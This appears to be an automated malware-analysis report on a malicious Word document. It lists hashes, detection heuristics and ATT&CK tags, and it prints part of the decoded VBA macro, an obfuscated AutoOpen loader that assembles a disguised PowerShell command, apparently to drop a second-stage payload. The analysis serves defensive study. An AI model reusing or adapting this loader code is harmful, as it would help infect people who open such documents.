Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8701125d5d10567e…

MALICIOUS

Office (OLE)

95.8 KB Created: 2018-07-06 10:56:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: db8fc299bf9c06222c21e7486b058e01 SHA-1: 71fab8263ce7f04c2eb64fd5b95ab8992b5c0d65 SHA-256: 8701125d5d10567ee16fa8d8d4ef26cfef7323e892701649aa046fd12b4a03d1
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro, triggered upon opening, utilizes CreateObject and Shell calls, indicating an attempt to execute arbitrary code. The presence of an obfuscated auto-exec loader and the ClamAV detection strongly suggest a dropper functionality, likely downloading and executing a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6602724-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6602724-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13087 bytes
SHA-256: 4eb2e6ed983f2c4b0397b62293c1ebc780885a1409dc9b3b71a65ff2915d3292
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rwUQiDuKfGQlWi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   VuRlj = ouZAA * iLwzfN / (EvkCL / AWVXjK * 84837 - ZjVlF / 64118 / ZptGGD - (15416 - QnLZq + GlrGBi - SXqqIl))
   nmTEBz = filMRJ * hZDkX / (uZCzz / vGQOAW * 58280 - SfDIS / 72848 / mlHazu - (96070 - FPDqQv + jTGGB - PPkqnC))
   saTkwL = KbjtV * DchGRB / (KaLazj / JAwQE * 13663 - MovmM / 98851 / RuhpkS - (95325 - SXNUj + RPsmOE - KiSoO))
   iiiJj = 88442 - kKrKQw / wOLvfK * PuHzf + (ijNYfT + RBoXqd * 20402 - VPDZq) * LXjnvI / SjaKBw - EzSfzX / vanEC
   LajYiG = 81700 - FjsRFk / kBiTz * fDwBHR + (PwSCc + bltSDz * 90597 - BVpUNn) * FHHmi / fWhXX - njGNqo / Imrib
iGKWXYfrAVADY (cwoPBjFNH + HzscnJZn + vMJSnMuE)
   HHVlWw = 67326 - TTIjIU / MYpqk * WwmUU + (TVHSTf + fJZSYC * 74824 - cYzKCj) * PfKwL / kJjQC - PFLAo / JpKmF
   LNJEzj = 98885 - adVGAK / kfkiC * ZzNAC + (dYilPL + GlIcks * 11999 - SpsPfj) * zLSGcj / QvDvBV - vrFuL / bcDAm
   IOcpc = 77485 - jSTUSk / Wpmqd * kbjDjz + (SWwndL + MTDIt * 33671 - bWiWk) * VpBqm / zShiY - dsTNV / rGhrDl
   iEZpPS = 15863 - kkKjzR / NoiKw * wXcTK + (zsisH + ZFWkMi * 63447 - QhvmqV) * NaPYpF / ijzWF - LoBrC / ZLqdcv
End Sub


Attribute VB_Name = "zTtZoKRtMGcHX"
Function cwoPBjFNH()
On Error Resume Next
KEkCnD = 24628 * TwoLj - (4913 + bdWHW / (EUUoOD - 11358 - 55692 - AElSsz))
   FSRnk = 16953 * sZQkf - (6847 + QwCCB / (kzwijQ - 78294 - 56865 - VKHDCM))
   quHRZ = 49090 * iQuFLa - (57350 + TKSzzz / (tUjcdE - 98047 - 602 - chFTc))
uUZaswiM = "wershe" + "ll    " + "        " + "      " + " . " + Chr(40) + " $E" + "nv:coMsPE" + "c[4,24,2" + "5]-JoIN" + "''" + Chr(41) + " " + Chr(40) + " " + Chr(34) + "$" + Chr(40) + "SV "
FOutqb = 69999 * sYFJWB - (34081 + HQdCi / (clbSNG - 11068 - 14638 - dEiSj))
   hvjulk = 40392 * LFaLJ - (3778 + tNOmJ / (XOdsk - 8268 - 53870 - rilch))
   ATWUkM = 94058 * UzcYl - (25842 + WXvcU / (XQsdI - 51267 - 41085 - HsWRSj))
   ujKPTA = 34898 * StjajF - (17784 + GkQOZz / (qrwja - 32807 - 19623 - KsZMm))
hiDOPqaRtfi = " 'oFs' '" + "' " + Chr(41) + " " + Chr(34) + " " + Chr(43) + "[ST" + "Ring" + "]" + Chr(40) + Chr(40) + "13 , 1" + "02,9" + "3,66 " + ",20 , 7" + "1 ,76 ," + "94,4, "
EDOto = 21228 * sziCvX - (7484 + EiVrcW / (nPnGH - 72807 - 68818 - YSibPi))
   jiSHwl = 61221 * rtZOE - (25835 + TPrLB / (mkhZjl - 59423 - 89689 - bzYVhY))
   jztsq = 61200 * Cajuq - (32639 + OQCvP / (FhDHII - 12109 - 69377 - voPOR))
   sCQHww = 73720 * EuaiqE - (48139 + BTiEL / (KnkpK - 43098 - 96787 - nouzfG))
   kFrQQ = 13964 * ftwRX - (20431 + EuYIK / (CBAjsF - 38297 - 43802 - jbTYXc))
EULbobI = "70, 75," + "67 ,76,74" + ", 93,9" + ",103, 76 " + ",93, 7,12" + "6 ,76 , "
IRsEj = 23482 * ALvVzh - (1880 + zQTYp / (HJlukZ - 62271 - 9657 - JGGYjD))
   VwhDh = 15607 * iFuoY - (70321 + sZpVAA / (zJCwY - 43260 - 59110 - jOjfaY))
   UBiPO = 67412 * fDWUAW - (10204 + zztkiM / (AdNRZp - 67849 - 61076 - qHprA))
PIonLGY = "75 ,1" + "06 ," + "69 ,64 " + ",76 , 71" + " ,93,1" + "8 ,13 ," + " 113 " + ",77," + " 79,20"
YtKaqi = 14692 * GqXqjf - (80489 + WEpzYW / (OcjvuY - 16719 - 313 - drwET))
   IiIwUC = 3667 * bWEXa - (71379 + XCJvw / (nMJzp - 4264 - 24729 - jlNrbh))
   hkNZt = 77637 * cCGJC - (59226 + AnVziG / (rmpCK - 48832 - 85978 - GMltia))
   kdBlc = 2308 * LfskPH - (99632 + WBHHJw / (zvSlOr - 17175 - 40275 - rTAnL))
iXjrzQUNnvM = " ,14 ," + " 65,93" + ",93, 89 ," + "19,6" + ",6,94 , " + "94 , 94 ," + "7,90, 93 " + ",72,91,2" + "4 , 17, " + "78 , 92," + " 72, 9" + "1 , 77 ,6"
lOhhF = 6229 * CVprFq - (97960 + WnzqB / (GomJI - 43206 - 83431 - DjKXHq))
   SopMQS = 15198 * pqoKI - (23654 + RckMl / (cndFbf - 97606 - 24189 - zpHbC))
   PMaRUY = 38802 * ZjEUuu - (46659 + TVSwwi / (paskr - 61396 - 97039 - GHbuj))
oiTkq = "4, 7" + "2 , 71," + "90 , 7," + "74 ,70 " + ",68,6, 76" + " ,109 ,28" + " ,109 ," + " 104,68 ,"
lWDwP = 73148 * ChjEw -
... (truncated)